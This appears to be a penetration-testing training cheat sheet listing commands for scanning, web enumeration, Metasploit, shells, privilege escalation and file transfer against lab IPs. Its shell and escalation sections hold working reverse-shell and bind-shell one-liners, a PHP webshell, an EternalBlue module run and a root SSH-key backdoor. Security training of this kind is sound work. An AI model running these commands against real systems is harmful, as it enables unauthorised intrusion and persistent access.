Getting Started
Information security (infosec) is a vast field. The field has grown and evolved greatly in the last few years. It offers many specializations, including but not limited to:
Network and infrastructure security
Application security
Security testing
Systems auditing
Business continuity planning
Digital forensics
Incident detection and response
Basic Tools
Command
Description
General
sudo openvpn user.ovpn
Connect to VPN
ifconfig
/ip a
Show our IP address
netstat -rn
Show networks accessible via the VPN
ssh user@10.10.10.10
SSH to a remote server
ftp 10.129.42.253
FTP to a remote server
tmux
tmux
Start tmux
ctrl+b
tmux: default prefix
prefix c
tmux: new window
prefix 1
tmux: switch to window (1
)
prefix shift+%
tmux: split pane vertically
prefix shift+"
tmux: split pane horizontally
prefix ->
tmux: switch to the right pane
Vim
vim file
vim: open file
with vim
esc+i
vim: enter insert
mode
esc
vim: back to normal
mode
x
vim: Cut character
dw
vim: Cut word
dd
vim: Cut full line
yw
vim: Copy word
yy
vim: Copy full line
p
vim: Paste
:1
vim: Go to line number 1.
:w
vim: Write the file 'i.e. save'
:q
vim: Quit
:q!
vim: Quit without saving
:wq
vim: Write and quit
Pentesting
Command
Description
Service Scanning
nmap 10.129.42.253
Run nmap on an IP
nmap -sV -sC -p- 10.129.42.253
Run an nmap script scan on an IP
locate scripts/citrix
List various available nmap scripts
nmap --script smb-os-discovery.nse -p445 10.10.10.40
Run an nmap script on an IP
netcat 10.10.10.10 22
Grab banner of an open port
smbclient -N -L \\\\10.129.42.253
List SMB Shares
smbclient \\\\10.129.42.253\\users
Connect to an SMB share
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0
Scan SNMP on an IP
onesixtyone -c dict.txt 10.129.42.254
Brute force SNMP secret string
Web Enumeration
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
Run a directory scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
Run a sub-domain scan on a website
curl -IL https://www.inlanefreight.com
Grab website banner
whatweb 10.10.10.121
List details about the webserver/certificates
curl 10.10.10.121/robots.txt
List potential directories in robots.txt
ctrl+U
View page source (in Firefox)
Public Exploits
searchsploit openssh 7.2
Search for public exploits for a web application
msfconsole
MSF: Start the Metasploit Framework
search exploit eternalblue
MSF: Search for public exploits in MSF
use exploit/windows/smb/ms17_010_psexec
MSF: Start using an MSF module
show options
MSF: Show required options for an MSF module
set RHOSTS 10.10.10.40
MSF: Set a value for an MSF module option
check
MSF: Test if the target server is vulnerable
exploit
MSF: Run the exploit on the target server is vulnerable
Using Shells
nc -lvnp 1234
Start a nc
listener on a local port
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
Send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
Another command to send a reverse shell from the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
Start a bind shell on the remote server
nc 10.10.10.1 1234
Connect to a bind shell started on the remote server
python -c 'import pty; pty.spawn("/bin/bash")'
Upgrade shell TTY (1)
ctrl+z
then stty raw -echo
then fg
then enter
twice
Upgrade shell TTY (2)
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php
Create a webshell php file
curl http://SERVER_IP:PORT/shell.php?cmd=id
Execute a command on an uploaded webshell
Privilege Escalation
./linpeas.sh
Run linpeas
script to enumerate remote server
sudo -l
List available sudo
privileges
sudo -u user /bin/echo Hello World!
Run a command with sudo
sudo su -
Switch to root user (if we have access to sudo su
)
sudo su user -
Switch to a user (if we have access to sudo su
)
ssh-keygen -f key
Create a new SSH key
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys
Add the generated public key to the user
ssh root@10.10.10.10 -i key
SSH to the server with the generated private key
Transferring Files
python3 -m http.server 8000
Start a local webserver
wget http://10.10.14.1:8000/linpeas.sh
Download a file on the remote server from our local machine
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
Download a file on the remote server from our local machine
scp linenum.sh user@remotehost:/tmp/linenum.sh
Transfer a file to the remote server with scp
(requires SSH access)
base64 shell -w 0
Convert a file to base64
echo f0VMR...SNIO...InmDwU | base64 -d > shell
Convert a file from base64
back to its orig
md5sum shell
Check the file's md5sum
to ensure it converted correctly
Last updated